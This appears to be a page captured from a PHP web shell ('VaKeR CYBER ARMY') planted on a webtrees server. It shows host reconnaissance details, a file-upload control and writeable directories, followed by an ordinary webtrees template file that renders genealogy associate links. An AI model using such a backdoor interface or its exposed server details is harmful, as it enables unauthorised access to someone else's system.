VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/webtrees/resources/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/webtrees/resources/views/fact-association-structure.phtml
<?php

declare(strict_types=1);

use Fisharebest\Webtrees\Age;
use Fisharebest\Webtrees\Auth;
use Fisharebest\Webtrees\Fact;
use Fisharebest\Webtrees\Family;
use Fisharebest\Webtrees\Gedcom;
use Fisharebest\Webtrees\I18N;
use Fisharebest\Webtrees\Individual;
use Fisharebest\Webtrees\Module\ModuleChartInterface;
use Fisharebest\Webtrees\Module\ModuleInterface;
use Fisharebest\Webtrees\Module\RelationshipsChartModule;
use Fisharebest\Webtrees\Registry;
use Fisharebest\Webtrees\Services\ModuleService;
use Fisharebest\Webtrees\Services\RelationshipService;

/**
 * @var Fact $fact
 */

$parent = $fact->record();
// To whom is this record an associate?
if ($parent instanceof Individual) {
    // On an individual page, we just show links to the person
    $associates = [$parent];
} elseif ($parent instanceof Family) {
    // On a family page, we show links to both spouses
    $associates = $parent->spouses();
} else {
    // On other pages, it does not make sense to show associates
    return '';
}

preg_match_all('/\n2 (_?ASSO) @(' . Gedcom::REGEX_XREF . ')@((\n[3-9].*)*)/', $fact->gedcom(), $amatches, PREG_SET_ORDER);

$html = '';
// For each ASSO record
foreach ($amatches as $amatch) {
    $person = Registry::individualFactory()->make($amatch[2], $fact->record()->tree());
    if ($person instanceof Individual && $person->canShowName()) {
        // Is there a "RELA" tag
        if (preg_match('/\n([23]) RELA (.+)/', $amatch[3], $rmatch) === 1) {
            if ($rmatch[1] === '2') {
                $rela_tag = $fact->record()->tag() . ':' . $amatch[1] . ':RELA';
            } else {
                $rela_tag = $fact->tag() . ':' . $amatch[1] . ':RELA';
            }
            // Use the supplied relationship as a label
            $label = Registry::elementFactory()->make($rela_tag)->value($rmatch[2], $parent->tree());
        } elseif (preg_match('/^1 _?ASSO/', $fact->gedcom()) === 1) {
            // Use a default label
            $label = Registry::elementFactory()->make($fact->tag())->label();
        } else {
            // Use a default label
            $label = Registry::elementFactory()->make($fact->tag() . ':_ASSO')->label();
        }

        if ($person !== $parent && $person->getBirthDate()->isOK() && $fact->date()->isOK()) {
            $age = new Age($person->getBirthDate(), $fact->date());
            switch ($person->sex()) {
                case 'M':
                    $age_text = ' ' . I18N::translateContext('Male', '(aged %s)', (string) $age);
                    break;
                case 'F':
                    $age_text = ' ' . I18N::translateContext('Female', '(aged %s)', (string) $age);
                    break;
                default:
                    $age_text = ' ' . I18N::translate('(aged %s)', (string) $age);
                    break;
            }
        } else {
            $age_text = '';
        }

        $values = ['<a href="' . e($person->url()) . '">' . $person->fullName() . '</a>' . $age_text];

        $module = app(ModuleService::class)->findByComponent(ModuleChartInterface::class, $person->tree(), Auth::user())->first(static function (ModuleInterface $module) {
            return $module instanceof RelationshipsChartModule;
        });

        if ($module instanceof RelationshipsChartModule) {
            foreach ($associates as $associate) {
                $relationship_name = app(RelationshipService::class)->getCloseRelationshipName($associate, $person);
                if ($relationship_name === '') {
                    $relationship_name = I18N::translate('Relationship');
                }

                if ($parent instanceof Family) {
                    // For family ASSO records (e.g. MARR), identify the spouse with a sex icon
                    $relationship_name .= '<small>' . view('icons/sex', ['sex' => $associate->sex()]) . '</small>';
                }

                $values[] = '<a href="' . $module->chartUrl($associate, ['xref2' => $person->xref()]) . '" rel="nofollow">' . $relationship_name . '</a>';
            }
        }
        $label = '<span class="label">' . $label . '</span>';
        $value = '<span class="field" dir="auto">' . implode(' — ', $values) . '</span>';

        $asso  = I18N::translate('%1$s: %2$s', $label, $value);
    } elseif ($amatch[2] === 'VOID') {
        $label = '<span class="label">' . I18N::translate('Associate') . '</span>';
        $value = I18N::translate('Not recorded');
        $asso  = I18N::translate('%1$s: %2$s', $label, $value);
    } elseif (Auth::isEditor($fact->record()->tree())) {
        $label = '<span class="label">' . I18N::translate('Associate') . '</span>';
        $value = '<span class="error">@' . e($amatch[2]) . '@</span>';
        $asso  = I18N::translate('%1$s: %2$s', $label, $value);
    } else {
        $asso = '';
    }
    $html .= '<div class="fact_ASSO">' . $asso . '</div>';
}

echo $html;

VaKeR 2022